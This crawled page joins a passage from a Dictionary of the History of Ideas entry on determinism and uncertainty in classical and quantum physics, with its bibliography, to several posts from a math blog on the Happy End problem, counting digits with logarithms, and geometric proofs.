the uncertainty principle, now asserting a relation
between the dispersions of measurement results, be-
comes amenable to empirical verification. To vindicate
this interpretation Margenau pointed out that, contrary
to conventional ideas, canonical conjugates may well
be measured with arbitrary accuracy at one and the
same time; thus two microscopes, one using gamma
rays and the other infra-red rays for a Doppler-experi-
ment, may simultaneously locate the electron and de-
termine its momentum and no law of quantum me-
chanics prohibits such a double measurement from
succeeding (Margenau, 1937; 1950). This view does not
abnegate the principle, for on repeating such measure-
ments many times with identically prepared systems
the product of the standard deviations of the values
obtained will have a definite lower limit.
Although Margenau and R. N. Hill (Margenau and
Hill, 1961) found that the usual Hilbert space formalism
of quantum mechanics does not admit probability
distributions for simultaneous measurements of non-
commuting variables, E. Prugovečki has suggested that
by introducing complex probability distributions the
existing formalism of mathematical statistics can be
generalized so as to overcome this difficulty. For other
approaches to the same purpose we refer the reader
to an important paper by Margenau and Leon Cohen,
and the bibliography listed therein (Margenau and
Cohen, 1967), and also to the analyses of simultaneous
measurements of conjugate variables carried out by E.
Arthurs and J. L. Kelly (Arthurs and Kelly, 1965),
C. Y. She and H. Heffner (She and Heffner, 1966),
James L. Park and Margenau (J. L. Park and Margenau,
1968). William T. Scott (Scott, 1968), and Dick H.
Holze and William T. Scott (Holze and Scott, 1968).
These investigations suggest the result that neither
single quantum-mechanical measurements nor even
combined simultaneous measurements of canonically
conjugate variables are, in the terminology of the
introduction, subject to i-indeterminacy, even though
they are subject to u-indeterminacy.
9. Indeterminacy in Classical Physics. Popper
questioned the absence, in principle, of indetermin-
acies, and in particular of u-indeterminacies, in classi-
cal physics. Calling a theory indeterministic if it asserts
that at least one event is not completely determined
in the sense of being not predictable in all its details,
Popper attempted to prove on logical grounds that
classical physics is indeterministic since it contains
u-indeterminacies (Popper, 1950). He derived this con-
clusion by showing that no “predictor,” i.e., a calculat-
ing and predicting machine (today we would say sim-
ply “computer”), constructed and working on classical
principles, is capable of fully predicting every one of
its own future states; nor can it fully predict, or be
predicted by, any other predictor with which it inter-
acts. Popper's reasoning has been challenged by G. F.
Dear on the grounds that the sense in which “self-
prediction” was used by Popper to show its impossibil-
ity is not the sense in which this notion has to be used
in order to allow for the effects of interference (Dear,
1961). Dear's criticism, in turn, has recently been
shown to be untenable by W. Hoering (Hoering, 1969)
who argued on the basis of Leon Brillouin's penetrating
investigations (Brillouin, 1964) that “although Popper's
reasoning is open to criticism he arrives at the right
That classical physics is not free of u-indeterminacies
was also contended by Max Born (Born, 1955a; 1955b)
who based his claim on the observation that even in
classical physics the assumption of knowing precise
initial values of observables is an unjustified idealization
and that, rather, small errors must always be assigned
to such values. As soon as this is admitted, however,
it is easy to show that within the course of time these
errors accumulate immensely and evoke serious in-
determinacies. To illustrate this idea Born applied
Einstein's model of a one-dimensional gas with one
atom which is assumed to be confined to an interval
of length L, being elastically reflected at the endpoints
of this interval. If it is assumed that at time t = 0 the
atom is at x = x0 and its velocity has a value between
v0 and v0 + Δv0, it follows that at time t = L/Δv0,
the position-indeterminacy equals L itself, and our
initial knowledge has been converted into complete
ignorance. In fact, even if the initial error in the posi-
tion of every air molecule in a row is only one millionth
of a percent, after less than one micro-second (under
standard conditions) all knowledge about the air will
be effaced. Thus, according to Born, not only quantum
physics, but already classical physics is replete with
u-indeterminacies which derive from unavoidable
The mathematical situation underlying Born's
reasoning had been the subject of detailed investi-
gations in connection with problems about the stability
of motion at the end of the last century (Liapunov,
Poincaré), but its relevancy for the indeterminacy of
classical physics was pointed out only quite recently
(Brillouin, 1956).
Born's argumentation was challenged by von Laue
(von Laue, 1955), and more recently also by Margenau
and Cohen (Margenau and Cohen, 1967). As Laue
pointed out, the indeterminacy referred to by Born is
essentially merely a technical limitation of measure-
ment which in principle can be refined as much as
desired. If the state of the system is represented by
a point P in phase-space, observation at time t = 0
will assign to P a phase-space volume V0 which is larger
the greater the error in measurement. In accordance
with the theory it is then known that at time t = t1
the representative point P is located in a volume V1
which, according to the Liouville theorem of statistical
mechanics, equals V0. If, now, at t = t1 a measure-
ment is performed, P will be found in a volume V′1
which, if theory and measurement are correct, must
have a nonzero intersection D1 with V1. D1 is smaller
than V1 and hence also smaller than V0. To D1, as a
subset of V1, corresponds a subset of V0 so that the
initial indeterminacy, even without a refinement of the
immediate measurement technique, has been reduced.
Since this corrective procedure can be iterated ad
libidum and thus the “orbit” of the system defined with
arbitrary accuracy, classical mechanics has no un-
eliminable indeterminacies. In quantum mechanics, on
the other hand, due to the unavoidable interference
of the measuring device upon the object of measure-
ment, such a corrective procedure does not work; in
other words, the volume
0 in phase-space cannot be
made smaller than
is the number of the
degrees of freedom of the system, and quantum-
mechanical indeterminacy is an irreducible fact. This
fundamental difference between classical and quantum
physics has its ultimate source in the different concep-
tions of an objective (observation-independent) physi-
cal reality.
Y. Aharonov and D. Bohm, “Time in the Quantum Theory
and the Uncertainty Relation for Time and Energy,” Physi-
cal Review, 122 (1961), 1649-58; idem, “Answer to Fock
Concerning the Time Energy Indeterminacy Relation,”
Physical Review, 134 (1964), B 1417-18. G. R. Allcock, “The
Time of Arrival in Quantum Mechanics,” Annals of Physics,
53 (1969), 253-85, 286-310, 311-48. Archive for the History
of Quantum Physics (Philadelphia, Berkeley, Copenhagen,
1961-64). E. Arthurs and J. L. Kelly, “On the Simultaneous
Measurement of a Pair of Conjugate Observables,” The Bell
System Technical Journal, 44 (1965), 725-29. N. Bohr, “Can
Quantum Mechanical Description of Physical Reality be
Considered Complete?,” Physical Review, 48 (1935),
696-702; idem, “Discussion with Einstein,” in Albert Ein-
stein: Philosopher-Scientist, ed. P. A. Schilpp (Evanston, Ill.,
1949), pp. 199-241. L. Boltzmann, Lectures on Gas Theory
(1895), trans. Stephen G. Brush (Berkeley, 1964). M. Born,
“Continuity, Determinism and Reality,” Kgl. Danske
Videnskarb. Selskab. Math.-Fys. Medd., 30 (1955a), 1-26;
idem, “Ist die klassische Mechanik tatsächlich determin-
istisch?” Physikalische Blätter, 11 (1955b), 49-54. E.
Boutroux, De la contingence des lois de la nature (Paris,
1874). L. Brillouin, Science and Information Theory (New
York, 1956; 1962); idem, Scientific Uncertainty and Infor-
mation (New York, 1964). E. Cassirer, Determinism and
Indeterminism in Modern Physcis, trans. O. T. Benfey (1936,
1937; New Haven, 1956). Z. Chyliński, “Uncertainty Rela-
tion between Time and Energy,” Acta Physica Polonica, 28
(1965), 631-38. A. A. Cournot, Essai sur les fondements de
nos connaisances (Paris, 1851); idem, Traité de l'enchaîne-
ment des idées fondamentales dans les sciences et dans
l'histoire (Paris, 1861). C. G. Darwin, “Critique of the
Foundations of Physics,” unpublished (1919); manuscript in
the Library of the American Philosophical Society, Phila-
delphia, Pa. G. F. Dear, “Determinism in Classical Physics,”
British Journal for the Philosophy of Science, 11 (1961),
289-304. A. S. Eddington, “The Decline of Determinism,”
Mathematical Gazette, 16 (1932), 66-80. A. Einstein, B.
Podolsky, and N. Rosen, “Can Quantum-mechanical De-
scription of Physical Reality be Considered Complete?”
Physical Review, 47 (1935), 777-80. F. Engelmann and E.
Fick, “Die Zeit in der Quantenmechanik,” Il Nuovo Cimento
(Suppl.), 12 (1959), 63-72; idem, “Quantentheorie der
Zeitmessung,” Zeitschrift für Physik, 175 (1964), 271-82. F.
Exner, Vorlesungen über die physikalischen Grundlagen der
Naturwissenschaften (Vienna, 1919), pp. 705-06. V. A. Fock,
“Criticism of an Attempt to Disprove the Uncertainty Re-
lation between Time and Energy,” Soviet Physics JETP, 15
(1962), 784-86; idem, “More about the Energy-time Uncer-
tainty Relation,” Soviet Physics Uspekhi, 8 (1965), 628-29.
P. Friedländer, Plato: An Introduction (New York, 1958), p.
251. A. Grünbaum, “Determinism in the Light of Recent
Physics,” The Journal of Philosophy, 54 (1957), 713-27. O.
Halpern, “On the Einstein-Bohr Ideal Experiment,” Acta
Physica Austriaca, 24 (1966), 274-79; idem, “On the
Einstein-Bohr Ideal Experiment, II, ibid., 28 (1968), 356-58.
W. Heisenberg, “Über den anschaulichen Inhalt der
quanten-theoretischen Kinematik und Mechanik,” Zeit-
schrift für Physik, 43 (1927), 172-98. W. Hoering, “Indeter-
minism in Classical Physics,” British Journal for the Philoso-
phy of Science, 20 (1969), 247-55. D. H. Holze and W. T.
Scott, “The Consequences of Measurement in Quantum
Mechanics. II. A Detailed Position Measurement Thought
Experiment,” Annals of Physics, 47 (1968), 489-515. M.
Jammer, The Conceptual Development of Quantum Me-
chanics (New York, 1966); idem, The Interpretations of
Quantum Mechanics (New York, 1972). N. S. Krylov and
V. A. Fock, “On the Uncertainty Relation between Time
and Energy,” Journal of Physics (USSR), 11 (1947), 112-20.
P. S. Kudrjawzew, “Aus der Geschichte der Unschärferela-
tion,” NTM: Schriftenreihe für Geschichte der Naturwis-
senschaften, Technik und Medizin, 2 (1965), 20-22. L. D.
Landau and E. M. Lifschitz, Quantum Mechanics (Reading,
Mass., 1958). L. D. Landau and R. Peierls, “Erweiterung
des Unbestimmtheitsprinzips für die relativistische Quan-
tentheorie,” Zeitschrift für Physik, 69 (1931), 56-69. M. von
Laue, “Zu den Erörterungen über Kausalität,” DieNatur-
wissenschaften, 20 (1932), 915-16; idem, “Ist die klassische
Physik wirklich deterministisch?,” Physikalische Blätter, 11
(1955), 269-70. A. Maier, DieVorläufer Galileis im 14.
Jahrhundert (Rome, 1949), pp. 219-50. L. I. Mandelstam
and I. Tamm, “The Uncertainty Relation between Energy
and Time in Non-relativistic Quantum Mechanics,” Journal
of Physics (USSR), 9 (1945), 249-54. H. Margenau, “Critical
Points in Modern Physical Theory,” Philosophy of Science,
4 (1937), 337-70; idem, The Nature of Physical Reality (New
York, 1950), pp. 375-77. H. Margenau and L. Cohen, “Prob-
abilities in Quantum Mechanics,” in Quantum Theory and
Reality, ed. M. Bunge (New York, 1967), pp. 71-89. H.
Margenau and R. N. Hill, “Correlation between Measure-
ments in Quantum Theory,” Progress of Theoretical Physics,
26 (1961), 722-38. J. L. Park and H. Margenau, “Simulta-
neous Measurement in Quantum Theory,” International
Journal of Theoretical Physics, 1 (1968), 211-83. H. Paul,
“Über quantenmechanische Zeitoperatoren,” Annalen der
Physik, 9 (1962), 252-61. W. Pauli, “Die allgemeinen
Prinzipien der Wellenmechanik,” in handbuch der Physik,
ed. H. Geiger and K. Scheel (Berlin, 1930), Vol. 24. C. S.
Peirce, Collected Papers, 8 vols. (Cambridge, Mass., 1935),
Vol. 6, paragraph 46. Henri Poincaré, Dernières pensées
(Paris, 1913). K. R. Popper, “Zur Kritik der Ungenauigkeits-
relationen,” DieNaturwissenschaften, 22 (1934), 807-08;
idem, Logik der Forschung (Vienna, 1935), p. 184; The Logic
of Scientific Discovery (New York, 1959), p. 249; idem,
“Indeterminism in Quantum Physics and in Classical
British Journal for the Philosophy of Science, 1
(1950), 117-33, 173-95. E. Prugovečki, “On a Theory of
Measurement of Incompatible Observables in Quantum
Canadian Journal of Physics, 45
2173-2219. Ch. Renouvier,
Les principes de la nature
1864). D. M. Rosenbaum, “Super Hilbert Space and the
Quantum Mechanical Time Operator,”
Journal of Mathe-
matical Physics, 10
(1969), 1127-44. L. I. Schiff,
(New York, 1968), pp. 7-14. M. Schlick, “Die
Kausalität in der gegenwärtigen Physik,”
schaften, 19
(1931), 145-62. W. T. Scott, “The Consequences
of Measurement in Quantum Mechanics; I. An Idealized
Trajectory Determination,”
Annals of Physics, 46
577-92. E. Schrödinger, “Zum Heisenbergschen Unschärfe-
Berliner Sitzungsberichte
(1930), pp. 296-303;
Uber Indeterminismus in der Physik—2 Vortäge
(Leipzig, 1932). C. Y. She and H. Heffner, “Simultaneous
Measurement of Noncommuting Observables,”
Review, 152
(1966), 1103-10. H. Weiss,
Kausalität und
Zufall in der Philosophie des Aristoteles
(Basel, 1942).
[See also Atomism; Causation; Determinism; Entropy;
Dictionary of the History of Ideas | {"url":"https://xtf.lib.virginia.edu/xtf/view?docId=DicHist/uvaGenText/tei/DicHist2.xml;chunk.id=dv2-65;toc.id=dv2-69;brand=default","timestamp":"2024-11-05T22:43:19Z","content_type":"application/xhtml+xml","content_length":"113265","record_id":"<urn:uuid:4d6da771-ee02-47c6-94e7-58a55313d6b3>","cc-path":"CC-MAIN-2024-46/segments/1730477027895.64/warc/CC-MAIN-20241105212423-20241106002423-00034.warc.gz"} |
Cool Math Stuff
As this is the last post of the year, I thought it would be appropriate to end with a post on the "Happy End Problem." I will explain the problem, which is pretty cool in itself, and then talk a
little bit about the history behind it.
The initial question was if any five points were placed on a plane with no three of them in a straight line, will four of those points always form a convex quadrilateral? For example, in the
following image:
The following convex quadrilateral can be formed:
Will this always work? As usual, I encourage you to grab a scrap piece of paper and try out a few examples. Have fun with it. Get creative! You will end up finding that no matter how you position the
five points, you cannot get a combination without a convex quadrilateral.
Why is this true? In fact, there is a very easy way to prove it. Let's analyze three cases.
The first case is the top left one in the red, where the five points form a convex pentagon. In this instance, connecting any four of the points will form a convex quadrilateral by nature.
The second case is the top right one in the blue, where one point is located in between the four outside points. The illustration shows the inside point being included in the quadrilateral, but it
could have just as easily been made as just the four outside points. This will continue to work for any combination of this nature by logic.
The third case is the bottom one in the yellow, where two points are enclosed in a triangle. When you draw a line between the two center points, two of the outside points will end up on one side and
one will be on the other. Using the two outside points as your third and fourth vertices will form a quadrilateral without flaw.
Now, you might be wondering if one can prove a similar case with a convex pentagon. Could it be done with six? Seven? Eight? Turns out, nine points are required for it to work every time. As you can
see below, eight points is just one too few.
What about convex hexagons? Or heptagons? Or octagons? Or chiliagons (1000-sided polygons)? Well, what many mathematicians will do from here is look for a formula to figure out how many points are
required for a given n-gon. We know that for a triangle (n = 3), just 3 points are needed (all triangles are convex). For a quadrilateral (n = 4), we proved that 5 points are needed. For a pentagon (
n = 5), I mentioned that 9 points are needed. Do you see the pattern?
3, 5, 9, ...
It is not easy to spot at first, but what if I subtract one from each of those terms:
2, 4, 8, ...
They are all now powers of two! This pattern seems to fit the formula A[n] = 2^n-2 + 1. Plugging six in for n would give:
A[6] = 2^6-2 + 1
A[6] = 16 + 1
A[6] = 17
This formula predicts that seventeen points would be required for a hexagon. Mathematicians would then work to try to prove that this is the case. Further, they would try to prove that for any value
of n, the A[n] formula holds true.
George Szekeres (1911-2005; a Hungarian-Austrailian mathematician and analytical chemist) and Esther Klein (1910-2005, another Hungarian-Austrailian mathematician) worked together to prove that all
values of n will have a finite A[n] output (there will be a number of points that creates the ability for a convex n-gon to be formed), but they could not get this bound down to the formula above.
Soon after this proof was published, Szekeres and Klein married each other, which inspired the name "Happy End Problem."
Paul Erdös (1913-1996; a Hungarian mathematician), possibly one of the most influential of the twentieth century), was able to prove successfully that with 71 points, a hexagon can always be drawn.
Sixty years later, Ronald Graham (born 1935; a Californian mathematician) and his wife, Fan Chung, decided to take a swing at the problem. While on a plane ride to a math conference in New Zealand,
they were able to lower Erdös's bound to 70 points, which doesn't sound like much, but it brought the problem back into the minds of mathematicians. It was also ironic that another achievement
pertaining to the Happy End Problem was from a couple.
Daniel Kleitman (born 1934; an applied mathematician at MIT) and Lior Pachter (born 1972; an Israeli mathematician and molecular biologist at Berkeley College) worked together to lower the upper
bound to 65 points. The number was then lowered to 37 points, and has yet to be lowered further.
Although lots of progress has been made on this problem, the overarching proof still has not yet been found. There has been no counterexample to the A[n] formula, and there has certainly been no
guaranteed formula to generate the future values. People often wonder what a mathematician actually does for his/her job. A big part of it is trying to figure out the answers to these unsolved
problems, which can often be understood by the average person. Try playing around with it and you might make a discovery too.
In science and math, you often run across numbers that are too big to be written in standard form. They are usually written in scientific notation, but they are also sometimes written as a number to
a certain power. For instance, one might say that there are 2^20 outcomes of the flipping of twenty coins rather than saying 1.049x10^6 ways.
By using that power, your information is likely more accurate. However, this power does not tell you much about the number. Most of us would have no idea if 2^20 is in the thousands, millions,
billions, etc. at the first glance.
First, lets ask a question. What is the common logarithm of a number, or what can you gather from it? Well, the common logarithm is the power that ten has to be raised to to obtain that number. For
log(100) = 2
log(5000) = 3.69897
log(6283185) = 6.79818
What do you notice about these numbers? It's not clear at first, but count the number of digits in each of the inputs. You will find that the common log is always just a little bit below that number.
In fact, to figure out the number of digits in a number, all you have to do is take the common log and round up to the nearest integer.
How can this be used to find the number of digits in a power? Interestingly enough, there is a logarithmic identity stating that the log of a number raised to the power is equal to the power times
the log of the number. For example,
log(27) = 3log(3)
ln(32) = 5ln(2)
log(2^20) = 20log(2)
Look at the last example there. We just simplified the gigantic 2^20 to a reasonable looking 20log(2), which is the formula to figure out the number of digits it has. In other words, the number of
digits in 2^20 is just 20log(2) rounded to the nearest integer. Plugging this into a calculator tells you that the log is 6.0206, meaning that there are seven digits in the number. If you multiply it
out, you will find that 2^20 = 1048576, which does indeed have seven digits.
So whenever a type of problem pops up with a power of this sort, try to determine how many digits it is. Chances are you will gain a much better understanding of the statistic when you perform this
quick calculation.
Though mathematics is normally a pretty concrete subject, people's intuition for it is not. Probability and statistics in particular is a very difficult area for us to grasp, as you've seen with the
Monty Hall Problem I talked about a few weeks ago.
Here is another example of mathematical aptitude being influenced by an outside source, but this time, it is not just a matter of lack of skill or desire to be correct. It is also influenced
sometimes by political views, as Kevin Drum shows in this news article. Check it out!
The field of geometry is comprised of many different types of questions. Some are construction based, such as “what is the area of this circle?” On the other hand, many are proof based, like “why are
these two triangles congruent?” This is slightly different from the proofs I normally discuss; proofs I normally post are very generalized theorems while these questions are more similar to a
specific algebra or arithmetic problem.
When writing a geometric proof, many different theorems come into play. One must use the generalized theorems, properties, and postulates to arrive at a conclusion. Let’s try a simple proof just to
demonstrate the nature of these theorems. Let’s prove that triangle ABE is congruent to triangle CDE.
First, we would say that it is given that segment AC is parallel to segment BD and that segment AB is parallel to segment CD. We would then say that ABCD is a parallelogram by the definition of a
parallelogram (which requires two sets of parallel sides). The definition of a parallelogram also requires AB and CD to be congruent. The vertical angle theorem can be used to say that angle AEB is
congruent to angle CED. The alternate interior angle theorem says that angle ABE is congruent to angle DCE. The angle-angle-side triangle congruence postulate then concludes that triangle ABE is
congruent to triangle CDE.
As you can see, there are many steps in this proof, and each one uses a different definition, theorem, or postulate. In high school geometry classes, students are told these theorems and postulates,
and expected to memorize them for future examples. This makes geometry boring and pointless, when it can be quite fascinating. A way to easily spice up geometric proofs is to actually prove the
theorems before they are used in class. If Euclid could do it, then we can do it.
A fun one to prove is the Isosceles Triangle Theorem. This theorem states that when a triangle has two congruent sides, it also has two congruent angles. This can be proven in a similar way as the
congruent triangle question I posed earlier. Take an isosceles triangle:
If you were to bisect that top angle, it would create two new triangles. Since the original triangle is isosceles, it is given that the top left segment is congruent to the top right segment. The
definition of a bisection (cutting an angle in half) states that the left part of the top angle is congruent to the right part of the top angle. The reflexive property of congruence states that the
middle segment is congruent to itself. By the side-angle-side triangle congruence postulate, the left triangle is congruent to the right triangle. And finally, by CPCTC (common parts of congruent
triangles are congruent), the bottom left angle is congruent to the bottom right angle.
This sort of geometric proof language sounds extremely long and boring. However, finding uses for it such as proving the Isosceles Triangle Theorem can make it a little more fun. Among many things, I
think that schools should teach the reasons behind these theorems to make it more logical and fun to apply them to class. | {"url":"https://coolmathstuff123.blogspot.com/2013/12/","timestamp":"2024-11-03T23:41:36Z","content_type":"text/html","content_length":"101630","record_id":"<urn:uuid:5704e96e-a545-4feb-8e18-57007b862c3b>","cc-path":"CC-MAIN-2024-46/segments/1730477027796.35/warc/CC-MAIN-20241103212031-20241104002031-00540.warc.gz"} |
Lesson 14
What Do You Know About Polynomials?
14.1: What Else is True? (5 minutes)
This warm-up asks students to consider what they know about a polynomial when given a few limited facts about the polynomial. In the following activity, which is an Information Gap, students will use
some of the thinking they do here to ask precise questions in order to graph a polynomial with a known factor.
Arrange students in groups of 2. Tell students there are many possible answers for the question. After 2 minutes of quiet work time, ask students to briefly compare their responses to their partner’s
and see what they have in common and what is different. Follow with a whole-class discussion.
Student Facing
\(G(x)\) is a polynomial. Here are some things we know about it:
• It has degree 3.
• Both \(x\) and \((x+4)\) are factors of \(G\).
• It has 2 horizontal intercepts, but only 1 is negative.
• Its leading coefficient is negative.
What else do we know is true about \(G(x)\)?
Activity Synthesis
Invite students to state some things they know must be true about the polynomial, recording these for all to see. In particular, highlight any potential sketches of \(G\), making clear that there are
2 main options depending on which factor has a multiplicity of 2.
14.2: Info Gap: More Polynomials (25 minutes)
This Info Gap activity gives students an opportunity to determine and request the information needed to make a sketch of a polynomial. The goal of this activity is to give students additional
practice dividing polynomials when one factor is already known and sketching polynomials from known factors. Since the focus is on working through the logic of the polynomial division to identify
other factors and then making a sketch from the linear factors, graphing technology is not an appropriate tool.
Here is the text of the cards for reference and planning:
Tell students they will continue to work with polynomials with known factors. Explain the Info Gap structure, and consider demonstrating the protocol if students are unfamiliar with it.
Arrange students in groups of 2. In each group, distribute a problem card to one student and a data card to the other student. After reviewing their work on the first problem, give them the cards for
a second problem and instruct them to switch roles.
Conversing: This activity uses MLR4 Information Gap to give students a purpose for discussing information necessary to make a sketch of a polynomial. Display questions or question starters for
students who need a starting point, such as: “Can you tell me . . . (specific piece of information)?”, and “Why do you need to know . . . (that piece of information)?”
Design Principle(s): Cultivate Conversation
Engagement: Develop Effort and Persistence. Display or provide students with a physical copy of the written directions. Check for understanding by inviting students to rephrase directions in their
own words. Keep the display of directions visible throughout the activity.
Supports accessibility for: Memory; Organization
Student Facing
Your teacher will give you either a problem card or a data card. Do not show or read your card to your partner.
If your teacher gives you the data card:
1. Silently read the information on your card.
2. Ask your partner, “What specific information do you need?” and wait for your partner to ask for information. Only give information that is on your card. (Do not figure out anything for your
3. Before telling your partner the information, ask, “Why do you need to know (that piece of information)?”
4. Read the problem card, and solve the problem independently.
5. Share the data card, and discuss your reasoning.
If your teacher gives you the problem card:
1. Silently read your card and think about what information you need to answer the question.
2. Ask your partner for the specific information that you need.
3. Explain to your partner how you are using the information to solve the problem.
4. When you have enough information, share the problem card with your partner, and solve the problem independently.
5. Read the data card, and discuss your reasoning.
Pause here so your teacher can review your work. Ask your teacher for a new set of cards and repeat the activity, trading roles with your partner.
Activity Synthesis
After students have completed their work, share the correct answers and ask students to discuss the process of solving the problems. Here are some questions for discussion:
• “What are some things that are helpful to know when sketching a polynomial function?” (the linear factors of the expressions, end behavior, actual points)
• “How did you use the known factor and the equation for the polynomial?” (I used long division to find \((x^3-3x^2-61x+63) \div (x-9)\), and then factored the result, \(x^2+6x-7\) mentally to find
the three linear factors to use to make my sketch.)
Highlight for students that the only piece of information they needed starting from a known factor is the equation for the polynomial. From there, they can use division (possibly more than once) to
identify the other linear factors and make the sketch.
14.3: Even More Polynomials (10 minutes)
Optional activity
This activity is optional. Use this activity to give students extra practice rewriting polynomial expressions in different forms and graphing polynomials from the factored form.
Arrange students in groups of 2. Tell students that they are going to write their own polynomial and then their partner is going to factor and graph it. This activity is meant to be flexible based on
student needs. While the task statement is written broadly, here are some modifications to consider:
• Restrict all horizontal intercepts to being between -10 and 10.
• Require that at least 1 factor have a multiplicity of 2.
• Allow the students to use graphing technology when they are writing their polynomials.
Conversing: MLR8 Discussion Supports. After students have finished graphing, use this routine to support partner discussion. Invite Partner A to begin with this sentence frame: “To write it in
factored form, first I _____ because . . . . Next, I . . . .” or “I sketched the graph by . . . .” Invite the listener, Partner B, to give structured feedback by saying, “I agree/disagree because . .
. .”, “Can you explain how you . . . ?”, or “Another strategy would be _____ because . . . .” This will help students discuss the reasoning involved in rewriting and graphing polynomial expressions.
Design Principle(s): Support sense-making; Cultivate conversation
Engagement: Develop Effort and Persistence. Encourage and support opportunities for peer interactions. Display sentence frames to support student conversation, such as: “Why did you . . . ?”, “I
found another factor by . . . .”, “I figured out . . . from . . . .”, and “I noticed . . . . ”
Supports accessibility for: Language; Social-emotional skills
Student Facing
1. Without letting your partner see, do the following:
1. write a polynomial of degree 3 or 4 in factored form
2. sketch the graph of your polynomial
3. rewrite its expression in standard form
2. On a separate slip of paper, write the standard form of your polynomial along with 1 of the factors (or 2 factors, if the polynomial has degree 4). Trade slips with your partner.
3. Use the information your partner gave you about their polynomial to:
1. rewrite their polynomial in factored form
2. sketch a graph of their polynomial showing all horizontal intercepts
4. Once you and your partner have finished graphing, check your factored form and graph with your partner and discuss any differences.
Activity Synthesis
Once students have completed graphing their partner’s polynomial, discuss the following:
• “Which parts of graphing your partner’s polynomial were tricky? Explain why.”
• “Which parts of graphing your partner’s polynomial went well? What advice would you give to other students?”
Lesson Synthesis
Display the writing prompt “How would you explain to a student who isn’t here today how to solve a problem like the one in the Information Gap? Include what questions you think they should ask and
any other solution steps needed to graph the polynomial.” Give students 2–3 minutes to respond, then invite as many students as time allows to share their explanations. Highlight students with
particularly efficient strategies, such as recognizing that the only required piece of information was the expression for the polynomial.
14.4: Cool-down - How Would You Factor? (5 minutes)
Student Facing
We can look at the same polynomial in many different ways. Let’s think about \(P(x) = x^3 - 7x + 6\). It’s written in standard form, but we could also write it in factored form as \((x-2)(x+3)(x-1)\)
. If we graph \(P(x)\), we get this:
Depending on what we know about \(P(x)\) and what we want to do, different forms of it will be more useful. If we want to quickly estimate the value of \(P(x)\) for some value of \(x\), the graph
might be most helpful. If we don’t know what the graph of \(P(x)\) looks like, the factored form can help us find the zeros and sketch it. If we want to know the general shape of the graph, we can
use the standard form to find the end behavior. If we want to know the factors of \(P(x)\) and we only know the standard form, we can guess some possible factors and divide \(P(x)\) by them. If we
have the factored form and we want to know the standard form, we can multiply all the factors together. | {"url":"https://im.kendallhunt.com/HS/teachers/3/2/14/index.html","timestamp":"2024-11-06T14:07:51Z","content_type":"text/html","content_length":"96926","record_id":"<urn:uuid:fb0e09c9-63b9-4598-8cc3-9678b5046165>","cc-path":"CC-MAIN-2024-46/segments/1730477027932.70/warc/CC-MAIN-20241106132104-20241106162104-00882.warc.gz"} |
The Calculus Collection: A Resource for AP* and Beyondsearch
Item Successfully Added to Cart
An error was encountered while trying to add the item to the cart. Please try again.
Please make all selections above before adding to cart
The Calculus Collection: A Resource for AP* and Beyond
MAA Press: An Imprint of the American Mathematical Society
Hardcover ISBN: 978-0-88385-761-8
Product Code: CLRM/33
List Price: $79.00
MAA Member Price: $59.25
AMS Member Price: $59.25
eBook ISBN: 978-1-4704-5837-9
Product Code: CLRM/33.E
List Price: $75.00
MAA Member Price: $56.25
AMS Member Price: $56.25
Hardcover ISBN: 978-0-88385-761-8
eBook: ISBN: 978-1-4704-5837-9
Product Code: CLRM/33.B
List Price: $154.00 $116.50
MAA Member Price: $115.50 $87.38
AMS Member Price: $115.50 $87.38
Click above image for expanded view
The Calculus Collection: A Resource for AP* and Beyond
MAA Press: An Imprint of the American Mathematical Society
Hardcover ISBN: 978-0-88385-761-8
Product Code: CLRM/33
List Price: $79.00
MAA Member Price: $59.25
AMS Member Price: $59.25
eBook ISBN: 978-1-4704-5837-9
Product Code: CLRM/33.E
List Price: $75.00
MAA Member Price: $56.25
AMS Member Price: $56.25
Hardcover ISBN: 978-0-88385-761-8
eBook ISBN: 978-1-4704-5837-9
Product Code: CLRM/33.B
List Price: $154.00 $116.50
MAA Member Price: $115.50 $87.38
AMS Member Price: $115.50 $87.38
• Classroom Resource Materials
Volume: 33; 2010; 507 pp
The Calculus Collection is a useful resource for everyone who teaches calculus, in high school or in a 2- or 4-year college or university. It consists of 123 articles, selected by a panel of six
veteran high school teachers, each of which was originally published in Math Horizons, MAA Focus, The American Mathematical Monthly, The College Mathematics Journal, or Mathematics Magazine.
The articles focus on engaging students who are meeting the core ideas of calculus for the first time. The Calculus Collection is filled with insights, alternate explanations of difficult ideas,
and suggestions for how to take a standard problem and open it up to the rich mathematical explorations available when you encourage students to dig a little deeper. Some of the articles reflect
an enthusiasm for bringing calculators and computers into the classroom, while others consciously address themes from the calculus reform movement. But most of the articles are simply interesting
and timeless explorations of the mathematics encountered in a first course in calculus.
□ Articles
□ General and Historical Articles
□ Functions, Graphs and Limits
□ Derivatives
□ Integrals
□ Polynomial Approximations and Series
□ ... No doubt, every calculus teacher can profit a great deal from this multifarious collection of articles on teaching elementary calculus, each of which is evidently written with gripping
enthusiasm, pedagogical experience and cultural sensitiveness.
Zentrallblatt Math
□ ... this book contains a large number of nuggets that can be used to enliven and strengthen the teaching of calculus, independent of the where and the level.
Charles Ashbacher
• Book Details
• Table of Contents
• Additional Material
• Reviews
• Requests
Volume: 33; 2010; 507 pp
The Calculus Collection is a useful resource for everyone who teaches calculus, in high school or in a 2- or 4-year college or university. It consists of 123 articles, selected by a panel of six
veteran high school teachers, each of which was originally published in Math Horizons, MAA Focus, The American Mathematical Monthly, The College Mathematics Journal, or Mathematics Magazine.
The articles focus on engaging students who are meeting the core ideas of calculus for the first time. The Calculus Collection is filled with insights, alternate explanations of difficult ideas, and
suggestions for how to take a standard problem and open it up to the rich mathematical explorations available when you encourage students to dig a little deeper. Some of the articles reflect an
enthusiasm for bringing calculators and computers into the classroom, while others consciously address themes from the calculus reform movement. But most of the articles are simply interesting and
timeless explorations of the mathematics encountered in a first course in calculus.
• Articles
• General and Historical Articles
• Functions, Graphs and Limits
• Derivatives
• Integrals
• Polynomial Approximations and Series
• ... No doubt, every calculus teacher can profit a great deal from this multifarious collection of articles on teaching elementary calculus, each of which is evidently written with gripping
enthusiasm, pedagogical experience and cultural sensitiveness.
Zentrallblatt Math
• ... this book contains a large number of nuggets that can be used to enliven and strengthen the teaching of calculus, independent of the where and the level.
Charles Ashbacher
Please select which format for which you are requesting permissions. | {"url":"https://bookstore.ams.org/CLRM/33","timestamp":"2024-11-10T06:06:57Z","content_type":"text/html","content_length":"92586","record_id":"<urn:uuid:356a0c80-8f05-4b29-a0bd-cfffe70407dd>","cc-path":"CC-MAIN-2024-46/segments/1730477028166.65/warc/CC-MAIN-20241110040813-20241110070813-00503.warc.gz"} |
Home » Posts tagged 'JCM_math230_HW10_S15'
